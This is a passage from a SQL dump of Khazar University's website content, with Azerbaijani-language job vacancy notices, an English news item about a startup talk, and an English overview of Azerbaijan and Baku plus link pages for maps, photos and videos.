Mühəndislik və Tətbiqi Elmlər fakültəsi, İnşaat Mühəndisliyi departamenti 2018-ci ilin&nbsp;payız semestrində əsas fənlərin (<em>Engineering Drawing, Fluid Mechanics, Foundation Engineering, Architectural Structures, Fundamentals of Steel design, Reinforced Concrete Fundamentals I, Hydraulics, Engineering Seismology</em>) tədrisi üçün vakant yerlərə namizədlər axtarır. İnşaat mühəndisliyi ixtisası üzrə magistr və doktorluq dərəcəsi almış azərbaycanlı şəxslər müraciət edə bilərlər. Mühəndislik və Tətbiqi Elmlər fakültəsində tədris ingilis dilindədir. Maraqlananlar öz CV-lərini Mühəndislik və Tətbiqi Elmlər fakültəsinin akademik işlər üzrə dekan müavini Dr. Fəxrəndə Əlimərdanovaya göndərə bilərlər:&nbsp;<a href=\"mailto:falimardanova@khazar.org\">falimardanova@khazar.org</a>.</p><h3><hr noshade=\"noshade\" style=\"width:100%;height:1px\"></h3><h3>Əlilliyi olan Tələbələr üçün Mərkəz əlilliyi olan tələbələri və məzunları\r\nəməkdaşlığa dəvət edir \r\n</h3><p>Hörmətli Xəzər Universitetinin əlilliyi olan tələbələri və məzunları!&nbsp;</p>\r\n<p>Hazırda iş axtarırsınızsa, CV-lərinizi <a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>\r\ne-mail ünvanına göndərməyiniz xahiş olunur. Xəzər Universitetinin Əlilliyi olan\r\nTələbələr üçün Mərkəzi bu sahədə Sizə dəstək göstərməyə hazırdır.</p><p>Hər hansı bir sualınız olarsa, e-mail və ya\r\n(012) 421-10-93 (dax. 234) telefon nömrəsi ilə əlaqə saxlaya bilərsiniz.&nbsp;</p><p><br></p><h3><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br></h3><h3>Vakansiya: Mexanika Mühəndisliyi departamenti müəllim axtarır&nbsp;<br></h3><p>Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsi, Mexanika Mühəndisliyi departamenti 2018-ci ilin yaz semestrində əsas fənlərin (<em>Fluid Mechanics II, Materials Science, Solid Works, System Dynamics and Control, Dynamics, Theory of Machines, Machine Vibration</em>) tədrisi üçün vakant yerlərə namizədlər axtarır. Mexanika mühəndisliyi ixtisası üzrə magistr və&nbsp;doktorluq dərəcəsi almış azərbaycanlı&nbsp;şəxslər müraciət edə bilərlər. Mühəndislik və Tətbiqi Elmlər fakültəsində tədris ingilis dilindədir. Maraqlananlar öz CV-lərini Mühəndislik və Tətbiqi Elmlər fakültəsinin akademik işlər üzrə dekan müavini Dr. Fəxrəndə Əlimərdanovaya göndərə bilərlər:&nbsp;<a href=\"mailto:falimardanova@khazar.org\">falimardanova[at]khazar.org</a></p><p><strong><em>Son müraciət tarixi 2018-ci il fevralın&nbsp;15-dir.</em></strong></p><p><strong><em><br></em></strong></p><p><strong><em><br></em></strong></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><h3>Vakansiya: Siyasi elm və beynəlxalq münasibətlər departamenti inzibati köməkçi/laborant vəzifəsinə işçi axtarır  <br></h3><p>Xəzər Universiteti Siyasi elm və beynəlxalq münasibətlər departamenti inzibati köməkçi/laborant vəzifəsi üçün vakansiya elan edir.</p><p>Müraciət edən namizədlər minimum bu tələblərə cavab verməlidirlər:</p><ul><li>Uyğun ixtisas üzrə minimum bakalavr təhsili;</li><li>Azərbaycan və ingilis dillərini mükəmməl bilməli (rus dili arzu olunandır);</li><li>Kompüter proqramları və Microsoft Office (Word, PowerPoint, MS Project, Excel) proqramları ilə sərbəst işləmək bacarığı;</li><li>İntizamlı və məsuliyyətli olmaq və verilən işləri vaxtında və peşəkarlıqla icra etmək bacarığı.</li></ul><p>Maraqlananlar, <strong>dekabrın 30</strong>-dan gec olmayaraq, CV-lərini Siyasi elm və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayevə göndərə bilərlər: <a href=\"mailto:elmar.mustafayev@khazar.org\">elmar.mustafayev@khazar.org</a>.</p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><br><h3>Vakansiya: Kompüter Elmləri və Kompüter Mühəndisliyi departamenti müəllim axtarır&nbsp;</h3><p>Data Structures, Computer Organization, Operations Research, Introduction to Theory of Computation, Introduction to Compilers, Operating Systems, Information Security, Computer Graphics) tədrisi üçün vakant yerlərə namizədlər axtarır. Kompüter elmləri, kompüter mühəndisliyi sahələrində magistr və ya doktorluq dərəcəsi olan şəxslər müraciət edə bilərlər. Mühəndislik və Tətbiqi Elmlər fakültəsində tədris dili ingiliscədir. Maraqlananlar öz CV-lərini Kompüter Elmləri və Mühəndisliyi departamentinin koordinatoru Dr. Məhəmməd Şərifova göndərə bilərlər:&nbsp;<a href=\"mailto:msharifov[at]khazar.org\">msharifov[at]khazar.org</a>.&nbsp;</p><p><strong>Son müraciət tarixi&nbsp;<em>2018-ci il yanvarın 31-dir</em></strong>.&nbsp;</p><p><br></p><p><br></p><hr style=\"width:1182px;height:1px\" noshade=\"noshade\"><br><h3>Vakansiya: Kitabxana-İnformasiya Mərkəzinə kitabxanaçı tələb olunur</h3> <p>Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzi kitabxanaçı vəzifəsi üçün müsabiqə elan edir. Müsabiqədə iştirak etmək üçün&nbsp;kitabxanaçılıq üzrə ali&nbsp;təhsilin olması vacibdir.Kitabxanaçının vəzifələrinə daxildir:</p><p><span style=\"color:#990066\"></span></p><ul style=\"color:#000000\"><li>istifadəçiləri kitabxananın müxtəlif resursları ilə tanış etmək;</li><li>kitabxanaya daxil olan informasiya resurslarının qeydiyyatını aparmaq, MARC formatında e-kataloqa daxil etmək;</li><li>müəllim və tələbə heyətinə elektron biblioqrafik məlumat bazasında axtarışlarda kömək etmək;</li><li>kitabxana tədbirlərində fəal iştirak etmək;</li><li>kitabxana işi ilə bağlı gündəlik işləri yerinə yetirmək;</li><li>digər vəzifələr.</li></ul><br><p style=\"text-align:justify\"><span style=\"color:#990066\"><span style=\"color:#000000\">Müsabiqədə iştirak etmək istəyənlər Azərbaycan dilini mükəmməl şəkildə bilməli, ingilis dilində olan mətnləri başa düşməli, ofis proqramlarında işləməyi, ünsiyyət qurmağı, gərgin iş rejimində işləməyi bacarmalıdırlar. Namizəd məsuliyyətli olmalı, işləri vaxtlı-vaxtında və peşəkarlıqla görməlidir. Müsabiqədə iştirak etmək istəyənlər məktub və CV-ni&nbsp;<span style=\"color:#0000cc\"><span style=\"font-weight:bold;text-decoration:underline\">amiskerli@khazar.org</span><strong>&nbsp;</strong><span style=\"color:#000000\">e</span></span>lektron poçt ünvanına göndərsinlər.&nbsp;Son müraciət tarixi&nbsp;</span><em style=\"color:#000000\">2017-ci il dekabrın 1</em><span style=\"color:#000000\">-dir.<br></span>  </span></p><h3><strong style=\"color:#990066\"><hr style=\"width:100%;height:1px\" noshade=\"noshade\">Vakansiya:\r\nİngilis dili müəlliminə ehtiyac var</strong></h3><p><strong></strong>Xəzər Universiteti İngilis dili və ədəbiyyatı departamenti 2017-ci il payız semestri üçün “ingilis dili müəllimi” vəzifəsi üzrə vakansiya elan edir.&nbsp;</p><p>Ali məktəblərdə ingilis dilinin tədrisi üzrə ən az 3 illik təcrübəsi olan, dilçilik və ya ingilis dilinin tədrisi sahəsində magistr dərəcəsi olan müəllimlərə üstünlük veriləcək.&nbsp;Maraqlananlar&nbsp;<strong>2017-ci il sentyabrın 1-dən gec olmayaraq,</strong>&nbsp;Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinə müraciət edə və CV-lərini göndərə bilərlər:&nbsp;<a href=\"mailto:emehdiyev@khazar.org\">emehdiyev[at]khazar.org</a></p><h3><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><br><strong style=\"color:#990066\">Vakansiya: Mühəndislik və tətbiqi elmlər fakültəsi müəllim axtarır</strong></h3><h3><strong></strong><span style=\"font-weight:normal;font-size:large;color:#000000\">Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsi,&nbsp;Kompüter elmləri\r\nvə kompüter mühəndisliyi departamenti 2017-ci il yaz semestri dövründə əsas fənlərin\r\ntədrisi üçün vakant yerlərə namizədlər axtarır. Kompüter elmləri, kompüter mühəndisliyi\r\nsahələrində magistr və ya doktorluq dərəcəsi olan şəxslər müraciət edə bilərlər.\r\nMühəndislik və tətbiqi elmlər fakültəsində tədris dili ingilis dilindədir.\r\nMaraqlananlar öz CV-lərini Mühəndislik fakültəsinin dekanı Dr.Hassan Niknafsa\r\ngöndərə bilərlər. <a href=\"mailto:hniknafs@khazar.org\">hniknafs[at]khazar.org</a>.&nbsp;</span><span style=\"font-weight:normal;font-size:large;color:#000000\"></span><span style=\"font-weight:normal;font-size:large;color:#000000\">Son müraciət tarixi&nbsp;</span><strong style=\"font-size:large;color:#000000\">2017-ci&nbsp;il yanvarın 31-</strong><span style=\"font-weight:normal;font-size:large;color:#000000\">dir.</span><span style=\"font-weight:normal\"></span><br><hr style=\"font-weight:bold;width:100%;height:1px\" noshade=\"noshade\"><br><strong style=\"color:#990066\">Vakansiya:&nbsp; Rektorun ofis assistenti</strong></h3><p><strong></strong><span style=\"font-size:large;color:#000000\">Xəzər Universitetində&nbsp;</span><strong style=\"font-size:large;color:#000000\">rektorun ofis assistenti</strong><span style=\"font-size:large;color:#000000\">&nbsp;vəzifəsinə işçi tələb olunur. Gündəlik işlər:&nbsp; ofis işləri, sənədlərin idarə edilməsi, qonaqların qarşılaması, tədbirlər və görüşlərin təşkil edilməsi, rektorluqla bağlı digər gündəlik işlərdən ibarətdir.Namizəd Azərbaycan və ingilis dillərində sərbəst danışmalıdır, rus dilini bilənə üstünlük verilir. Namizəd məsuliyytəli olmalı, işləri vaxtlı-vaxtında və peşəkarlıqla görməlidir.Maraqlananlar məktub və CV-ni&nbsp;</span><a href=\"mailto:contact@khazar.org-a\" style=\"font-size:large;color:#000000\">contact[at]khazar.org-a</a><span style=\"font-size:large;color:#000000\">&nbsp;göndərsinlər (başlıqda “</span><em style=\"font-size:large;color:#000000\">Rector Assistant Application</em><span style=\"font-size:large;color:#000000\">” yazılsın).Son müraciət tarixi&nbsp;</span><strong style=\"font-size:large;color:#000000\">2016-cı il dekabrın 15</strong><span style=\"font-size:large;color:#000000\">-dir.</span></p><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\"><br><br><h3>Vakansiya: İngilis dili müəllimi</h3><p>Xəzər Universiteti İngilis dili və ədəbiyyatı departamenti 2016-cı il payız semestri üçün yarımştat ingilis dili müəllimi vəzifəsi üzrə vakansiya elan edir. Müraciət edənlərin dilçilik və ya ingilis dilinin tədrisi sahəsində magistr dərəcəsi olmalıdır.</p><p>Ali məktəblərdə ingilis dilinin tədrisi üzrə ən az 3 illik təcrübəsi olanlara üstünlük veriləcək.</p><p>Maraqlananlar Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinə <strong>2016-cı il iyulun 10</strong>-dan gec olmayaraq müraciət edə və CV-lərini göndərə bilərlər: zqurbanova[at]khazar.org.</p><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\"><br><h3>Kompüter müəllimi üzrə vakansiya elan olunur  <br></h3><p>Xəzər Universiteti Kompüter elmləri departamenti kompüter müəllimliyi üzrə vakansiya elan edir. Namizədlər arasında müsabiqə keçiriləcək. Müsabiqə ölkədaxili namizədlər üçün nəzərdə tutulur.</p><p>Müsabiqədə iştirak etmək üçün namizədlərdən aşağıdakı şərtlər tələb olunur:</p><br><ul><li>İxtisas üzrə ən azı magistratura diplomunun olması;</li><li>Elmi tədqiqat bacarığının olması;</li><li>İngilis dilində tədris bacarığının olması.</li></ul><br><p>Əlavə məlumat almaq üçün bu e-mail-ə müraciət edə və CV-nizi göndərə bilərsiniz: jmehri@khazar.org.</p><p>&nbsp;<strong>Vakansiyaya son müraciət tarixi Sentyabrın&nbsp;1-idir</strong></p><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\"><br><h3>İqtisadiyyat və Menecment Departamenti- Maliyyə Bölməsinin Koordinatoru</h3><p><strong>İş barədə məlumat</strong></p><ul><li>Təhsil proqramlarının və iş sxemlərinin, o cümlədən departament sənədlərinin hazırlanmasında departament müdirinə kömək etmək.</li><li>Departamentin ixtisas sahələri ilə bağlı fəaliyyətlərin və tədbirlərin planlaşdırılması və həyata keçirilməsində departament müdirinə kömək etmək.</li><li>Müxtəlif təhsil proqramları ilə bağlı məlumat toplamaq və ilkin təhlil etmək.</li><li>Bakalavr və magistr proqramlarında maliyyə fənlərini tədris etmək.</li><li>Müəllimlər ilə ünsiyyət saxlamaq və fənn üzrə işçi tədris proqramlarını toplamaq.</li><li>Departamentdə yerinə yetirilən elmi-tədqiqat işlərində iştirak etmək və tədqiqat işlərinin nəticələrini nüfuzlu elmi jurnallarda dərc etmək.</li><li>Departament müdiri tərəfindən tapşırılan vəzifələri yerinə yetirməklə departamentin ümumi idarə olunmasına kömək etmək.</li></ul><br><p><strong>Tələblər</strong></p><br><ul><li>Maliyyə/Mühasibat sahəsi üzrə fəlsəfə doktoru dərəcəsi (və yaxud bitirmək üzrə).</li><li>Əla səviyyədə ingilis dili (danışıq və yazılı).</li><li>Yaxşı kompyuter bacarıqları (o cümlədən, məlumat bazasını idarə etmə bacarığı).</li><li>Yaxşı şifahi və yazılı ünsiyyət qurmaq və səmərəli işləmək bacarıqları.</li><li>Sərbəst şəkildə işləmək və təşəbbüs göstərmək bacarığı.</li><li>Müsbət düşüncəyə və ozünü motivasiya etmək xüsusiyyətinə malik olmaq.</li><li>Vaxt və stress idarəetmə bacarığı.</li><li>Kolleqiallıq: güclü iş əlaqələri və müsbət iş mühiti yarada bilmək bacarığı, hörmətcil, komandada işləmə bacarığı.</li></ul><br><p>İşə başlama tarixi: 2016-cı ilin sentyabr ayı.</p><p>Müsabiqədə iştirak etmək üçün maraqlanan namizədlərdən tərcümeyi-hal, rəy (rəy verən 3 şəxsin əlaqə məlumatları) və motivasiya məktublarını İqtisadiyyat və Menecment Departamentinin müdiri Dr. Ceyhun Məmmədova göndərmələri xahiş olunur: jmammadov@khazar.org</p><hr style=\"width:100%;height:1px;border:0px solid\" noshade=\"noshade\"><br><h3>Fars dili müəllimi üzrə dosent vəzifəsi vakansiyası&nbsp;</h3><p>Xəzər Universiteti Dillər və mədəniyyətlər kafedrası fars dili müəllimi üzrə dosent vəzifəsi vakansiyası (1 yer) üçün müsabiqə elan olunur. Müsabiqə daxili namizədlər üçün nəzərdə tutulmuşdur.</p><p>Müsabiqədə iştirak etmək üçün aşağıdakı şərtlər tələb olunur:</p><br><ul><li>İxtisas üzrə fəlsəfə doktoru elmi adı;</li><li>İxtisas üzrə 5 il pedaqoji staj;</li><li>Elmi tədqiqat bacarığı.</li></ul><br><p>Müsabiqədə iştirak etmək üçün sənədlər Azərbaycan Respublikası Təhsil Nazirliyinin 07.08.1996-cı il tarixli 401 saylı əmri ilə təsdiq edilmiş “Ali təhsil müəssisələrində professor-müəllim vəzifələrinin tutulması qaydaları haqqında” əsasnaməyə uyğun olaraq elan olunduğu gündən başlayaraq, 30 gün müddətində Xəzər Universiteti “Neftçilər” kampusunda &nbsp;(506-cı otaqda) qəbul edilir.</p><p>Tələb olunan sənədlər:</p><br><ul><li>Şəxsiyyət vəsiqəsi;</li><li>Diplomların surəti;</li><li>Elmi əsərlərin siyahısı.</li></ul><br><p>Əlavə məlumat üçün bu nömrələrlə əlaqə saxlamaq olar:</p><p>Tel: +994 12 421 7916 (215);</p><p>Fax: +994 12 498 93 79.</p><p>Sənədlərin qəbulu komissiyası</p>  <br><br>  </div>'),(2468,1493,'az','“Uğurlu karyera qurmağın yolları və vasitələri” mövzusunda ilk master klass keçirəcək','2016-cı il oktyabr 31-də Xəzər Universitetinin Məzunlar Assosiasiyası və Xəzər Universitetinin Məzunlarla İş Mərkəzi sonuncu il bakalavr və magistr tələbələri üçün...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il oktyabr 31-də Xəzər Universitetinin Məzunlar Assosiasiyası\r\nvə Xəzər Universitetinin Məzunlarla İş Mərkəzi sonuncu il bakalavr və magistr tələbələri\r\nüçün “Uğurlu karyera qurmağın yolları və vasitələri” mövzusunda ilk master\r\nklass keçirəcək. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">İngilis dilini yaxşı bilən bütün tələbələr dəvətlidir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tədbir saat 16:00-da başlanır.</p>'),(2510,1241,'az','Cavid Ocağı','Cavid Ocağı',''),(2512,1516,'en','Meeting on How to Build a Thriving Startup Ecosystem','On November 1, 2016, Mr. Tal Catran, an Accelerators Guru and Startups Builder, visited Khazar University to speak with faculty and staff members about Israel’s experience with startups...','<p>On November 1,\r\n2016, Mr. Tal Catran, an Accelerators Guru and Startups Builder, visited Khazar\r\nUniversity to speak with faculty and staff members about Israel’s experience\r\nwith startups. He pointed out the reasons behind Israel\'s start-up success and\r\nshared his ideas on how to build a thriving startup ecosystem. </p>\r\n<p>The guest was\r\nalso informed about the Technopark and other ideas for innovation at Khazar\r\nUniversity. The meeting was attended by Dr. Mukhtar Hajizada, Chair of the\r\nDepartment of Political Science and International Relations; Mrs. Raziya\r\nIsayeva, Development Director; Dr. Ingilab Ahmadov, Dean of the School of\r\nEconomics and Management; Dr. Jeyhun Mammadov, Chair of the Department of\r\nEconomics and Management; and Assoc. Prof. Gasham Zeynalov, Chair of the\r\nDepartment of Petroleum Engineering; as well as Mrs. Lina Michaeli from the\r\nIsrael Aerospace Industries (IAI) and Mr. Amir Rom from the Embassy of Israel\r\nin Baku.</p>'),(793,546,'en',' Baku, Azerbaijan',' Baku, Azerbaijan','<div><h2>THE REPUBLIC OF AZERBAIJAN</h2>  <br></div><div><p>The Republic of Azerbaijan is located in the South-Eastern part of the Caucasus and South-Eastern Europe.</p><p>It has a territory of 86.6 thousand sq. km (33.4 thousand sq. miles).</p><p>Bordering Iran on the South, Armenia on the West, Turkey on the South-West, Georgia on the North-West and Daghistan, a Republic in the Russian Federation, on the North, Azerbaijan merges on the East with the Caspian (Khazar) Sea, the largest landlocked reservoir in the world.</p><p>The region of Iran south of the Araz River, which forms the border, is also known as Azerbaijan.<img src=\"/files/image/xerite_1.jpg\" style=\"border:0px  #000000;width:200px;height:148px;margin:7px;float:right\"></p><p>The people on both sides of the border speak the same Azerbaijani language, and had a common history until the Russian conquest of Azerbaijan north of the Araz in the early 19<sup>th</sup>&nbsp;century.</p><p>The Republic of Azerbai­jan is inimitable in its nature, ranging from the snow-covered mountains to subtropical forests.</p><p>The northern and eastern parts of the country fall within the Greater and Minor Cau­casus mountain ranges. Although quite moun­tainous, the country has a varied terrain including canyons, valleys, forests, steppes, rivers, lakes and the Caspian Sea coastline.</p><p>The Republic of Azerbaijan is rich in oil and other minerals; its chief resource is oil and the chief oilfields are in the Baku region, on the shore of the Caspian Sea and offshore (in 1901, Azerbaijan produced half of the world’s oil, and the world’s first oil pipeline and the first oil tanker were made in Azerbaijan).</p><p>The leading branches of its economy are developed in both heavy and light industries, as well as agriculture.<img src=\"/files/image/images_1.jpg\" style=\"width:200px;height:147px;margin:7px;float:right\"></p><p>Manufacturing, including oil refining and the production of chemicals, is the most valuable activity.</p><p>Large areas are irrigated and crops include cotton, fruits, grain, tea, tobacco and vegetables. Fishing is also important.</p><p>As a geographical and historical notion, “Azerbaijan” includes the present day Republic of Azerbaijan and the Azerbaijani provinces located in the North-West Iran.</p><p>These ancient Azerbaijani lands have given birth and rise to such powers as Manna, Media, Atropatena, and Caucasian Albania in the Ancient and early Medieval Times.</p><p>During the period from the 3<sup>rd</sup>&nbsp;to 10<sup>th</sup>&nbsp;centuries, first, Azerbaijani lands were included into the Sasanids\' Iran Empire and then, into the Arab Caliphate.<img src=\"/files/image/susa%20mescidi_1.jpg\" style=\"width:200px;height:286px;margin:7px;float:right\"></p><p>During the Middle Ages, it managed to become the main “target” of Iran and Ottoman Turkey.</p><p>A bit later, Russia became the third opponent of this vital struggle.</p><p>Its logical result was the Turkmanchay Treaty of 1828, which was signed between Russia and Iran.</p><p>According to the treaty, the Northern part of Azerbaijan (including the present-day territory of the Republic of Azerbaijan) passed to Russia, while the Southern territory remained in Iran.</p><p>After the 1917 Revolution in Russia, on May 28, 1918, independent Azerbaijan Democratic Republic was established.</p><p>But 23 months later, Azerbaijan was invaded by Soviet Russia and in a few years, was incorporated into the Union of Soviet Socialist Republics (USSR) as one of the Union’s fifteen titular republics.</p><p>Azerbaijan regained its independence on October 18, 1991 as a result of the collapse of the USSR.</p><p>Since March 2, 1992, the Republic of Azerbaijan has been a member of the United Nations.<img src=\"/files/image/seki%20xan%20sarayi_1.jpg\" style=\"width:200px;height:140px;margin:7px;float:right\"></p><p>Azerbaijan, as an ancient country, reflects rich history and original cul­ture.</p><p>The population of Azerbaijan is a little more than 8,5 million.</p><p>Side by side with Azerbaijani Turks (around 90%), here live Russians and Ukrainians, Lezghies, Avars, Udins, Talyshs, Kurds, Jews, Tatars, Turks, Georgians, and many other ethnic groups, including Armenians settled in the Azerbaijani territories occupied by Armenia.</p><p>The official language is Azeri, or Azerbaijani, which belongs to the Turkic group of the Altaic family.</p><p>The principal religion is Islam although freedom of religion is guaranteed by the Constitution.<img src=\"/files/image/gulustan%20turbesi_1.jpg\" style=\"width:200px;height:286px;margin:7px;float:right\"></p><p>Besides Muslims, the population includes groups of Christians and Jews. Azerbaijan is a country that is internationally renowned not for only religious tolerance but also for inter-religious dialogue and friendship.</p><p>Baku (also spelled as Baki), the capital of Azerbaijan and the largest city in the Caucasus region, has a population of over 2 million.</p><p>The second and third largest cities are Ganja and Sumqayit, each with a population around 300,000.</p><p>Other important cities are Lankaran, Mingachevir, Nakhchivan, Shamakhy, Sheki, and Khankendi.</p><p>Azerbaijan has a very developed mix of old and new culture. It unites Caucasian, Turkic, Iranian, and European elements.</p><p>The organic unity of national and international values, as well as Eastern and Western cultures, enhance the beauty of Azerbaijan and its capital city, Baku.</p>  <br></div><div><br></div><div><br></div><div><h2>Baku</h2>  <br></div><div><p>Baku, the capital of the Republic of Azerbaijan, is located on the shore of the Caspian Sea, Absheron Peninsula.</p><p>It is a political, industrial, intellectual, educational and cultural center of the country.</p><p>The population of Baku is approximately two million people.</p><p>Greater Baku, divided into 11 districts, encompasses almost the entire Apsheron Peninsula and 48 townships.<img src=\"/files/image/baki-3.jpg\" style=\"width:200px;height:188px;margin:7px;float:right\"></p><p>Among these are townships on islands off the tip of the peninsula and an artificial island -&nbsp;<em>Neft Daşları</em>&nbsp;(Oil Rocks) built on stilts in the Caspian Sea, 100 km from Baku.</p><p>The first historical reference to Baku dates from AD 885, although archaeological evidence indicates a settlement there several centuries before.</p><p>By the 11<sup>th</sup>&nbsp;cen­tury AD, Baku was in the possession of the&nbsp;<em>Şirvanşahlar</em>&nbsp;(Shirvan Kings), who made it their capital in the 12<sup>th</sup>&nbsp;century, although for a period in the 13<sup>th</sup>&nbsp;and 14<sup>th</sup>&nbsp;centuries it came under the sway of the Mongols.</p><p>In 1723 Peter the Great captured Baku, but it was returned in 1735; Russia re­cap­tured the town finally in 1806.</p><p>The core of pre­sent day Baku is the old town, or fortress of&nbsp;<em>İç</em><em>ə</em><em>ri­ş</em><em>ə</em><em>h</em><em>ə</em><em>r</em>&nbsp;(Inner City).</p><p>Most of the walls, strengthened after the Russian conquest in 1806, survive, as does the 27m (90ft) tower of&nbsp;<em>Qız Qalası</em>&nbsp;(Maiden\'s Tower, 12<sup>th</sup>&nbsp;century).<img src=\"/files/image/flarmoniya_1.jpg\" style=\"width:200px;height:140px;margin:7px;float:right\"></p><p>The old town is highly picturesque, with its maze of narrow alleys and ancient buildings.</p><p>These include the palace of the&nbsp;<em>Şirvanşahlar</em>, now a museum, the oldest part of which dates from the 11<sup>th</sup>&nbsp;century.</p><p>Also of the 11<sup>th</sup>&nbsp;century is the&nbsp;<em>Sınıqqala</em>&nbsp;Minaret and Mosque (1078-79).</p><p>Other notable historic buildings are the&nbsp;<em>Divanxana</em>&nbsp;(Court), the&nbsp;<em>Cüm</em><em>ə Məscidi</em>&nbsp;(Friday Mosque), and the mausoleum of the 16<sup>th</sup>&nbsp;century thinker, Sufi leader and astronomer Seyid Yahya Bakuvi.</p><p>As the first oil-producing city of the world, Baku is proud of being first in witnessing many unforgettable events: the first National Opera of the Muslim East, the first Drama Theater, the first polyphonic music, the first metro (underground) in the Muslim World – to name only few.<img src=\"/files/image/sirvansahlar%20sarayi_2.jpg\" style=\"width:200px;height:140px;margin:7px;float:right\"></p><p>Baku is unique in its climate: it has the greatest number of sunny days and the least amount of precipitation in the Caucasus; often winds purify the air, making it&nbsp;cooler in summer and bitter in winter.</p><p>The average annual temperature is +14.40 degrees Celsius; the average temperature in July, the hottest month, is +25.50 degrees Celsius, while that in January, the coldest month, is +3.50 degrees Celsius.</p><p>The basis of Baku\'s economy is petroleum.</p><p>The presence of oil has been known since the 8<sup>th</sup>&nbsp;century, and by the 15<sup>th</sup>&nbsp;century oil for lamps was obtained from surface wells.<img src=\"/files/image/600_614acd97c1_1.jpg\" style=\"width:200px;height:224px;margin:7px;float:right\"></p><p>Modern commercial exploitation began in 1872.</p><p>The Baku oil field at the beginning of the 20<sup>th</sup>&nbsp;century was the largest in the world, and it remained the largest Soviet field until late 1940s.</p><p>Currently most international oil companies have contracts with Azerbaijan on oil production and have already started their operations in the Azeri sector of the Caspian Sea.</p><p>Although a recent construction boom in Azerbaijan, particularly in Baku, including construction of highways, bridges and high-rise buildings, sometimes creates inconveniences now, certainly they will make Baku and the country more beautiful and facilitate a better infrastructure.&nbsp;</p>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div>'),(794,547,'az','Xəritələr','Xəritələr','<div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/image/15_03_06_map3.jpg\" style=\"border:0px  #000000;width:650px;height:328px;margin:7px;float:left\"><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/image/map.png\" style=\"border:0px  #000000;width:650px;height:812px;margin:7px;float:left\"></div>  <div><br></div><br></div>'),(795,547,'en','Maps','Maps','<div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/image/15_03_06_map3.jpg\" style=\"border:0px  #000000;width:650px;height:328px;margin:7px;float:left\"><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/image/map.png\" style=\"border:0px  #000000;width:650px;height:812px;margin:7px;float:left\"></div>  <div><br></div><br></div>'),(796,546,'az','Bakı, Azərbaycan','Bakı, Azərbaycan',''),(797,548,'en','Photos','Photos','<p><br><strong></strong></p><p><a href=\"http://www.khazar.org/s881/Baku-Today/en\"><strong>Baku Today</strong></a>  <br></p><p><a href=\"http://www.khazar.org/s882/Baku-in-Future/en\"><strong>Baku in Future</strong></a>  <br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><a href=\"https://maptia.com/reza/stories/elegance-of-fire\" target=\"_blank\">Reza Deghati’s Azerbaijan Photo Collection&nbsp;</a></strong>  <br></p><div><br></div> <p><br></p>'),(798,548,'az',' Şəkillər',' Şəkillər','<p><br></p><p><strong><a href=\"http://www.khazar.org/s881/Bak%C4%B1-Bu%20G%C3%BCn/az\">Bakı Bu Gün</a></strong></p><p><a href=\"http://www.khazar.org/s882/Bak%C4%B1%20Sabah/az\"><strong>Bakı Sabah</strong></a></p><p><strong><a href=\"https://maptia.com/reza/stories/elegance-of-fire\" target=\"_blank\">Fotoqraf Rəza Dəğatinin Azərbaycan albomu</a></strong></p>  <div><br></div>'),(799,549,'az','Videolar','Videolar','<div><br></div><div><br></div><div><blockquote><blockquote><ul><li><strong><a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=ErosULW7h3g\">Eurovision 2012: Bakıya xoş gəlmisiniz, Azərbaycan</a></strong></li></ul><p>&nbsp;</p><ul><li><a href=\"http://www.youtube.com/watch?v=cWbuvZnJOTk&amp;feature=player_embedded\"><strong>Azərbaycan - Odlar Yurdu</strong></a></li></ul><p>&nbsp;</p><ul><li><a href=\"http://www.youtube.com/watch?v=cWbuvZnJOTk&amp;feature=player_embedded\"><strong>Bakıya xoş gəlmisiniz, Azərbaycan: - Günəşli şəhər</strong></a></li></ul><p>&nbsp;</p><ul><li><strong><a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=sW_Knsi5ps8\">Azərbaycanda uçarkən</a></strong></li></ul><p>&nbsp;</p><ul><li><strong><a href=\"http://www.youtube.com/watch?v=3TdZch1Ovxo&amp;feature=player_embedded\">Azərbaycana xoş gəlmisiniz</a></strong></li></ul><p>&nbsp;</p><ul><li><strong><a href=\"http://www.youtube.com/watch?v=ioeMDDQm1a0&amp;feature=player_embedded\">Azərbaycana xoş gəlmisiniz - 2011</a></strong></li></ul><p>&nbsp;</p><ul><li><p><a href=\"http://www.youtube.com/watch?feature=player_embedded&amp;v=C5_zl6UqTuM\"><strong>Bakı gecələri</strong></a></p></li></ul><p>&nbsp;</p><ul><li><a 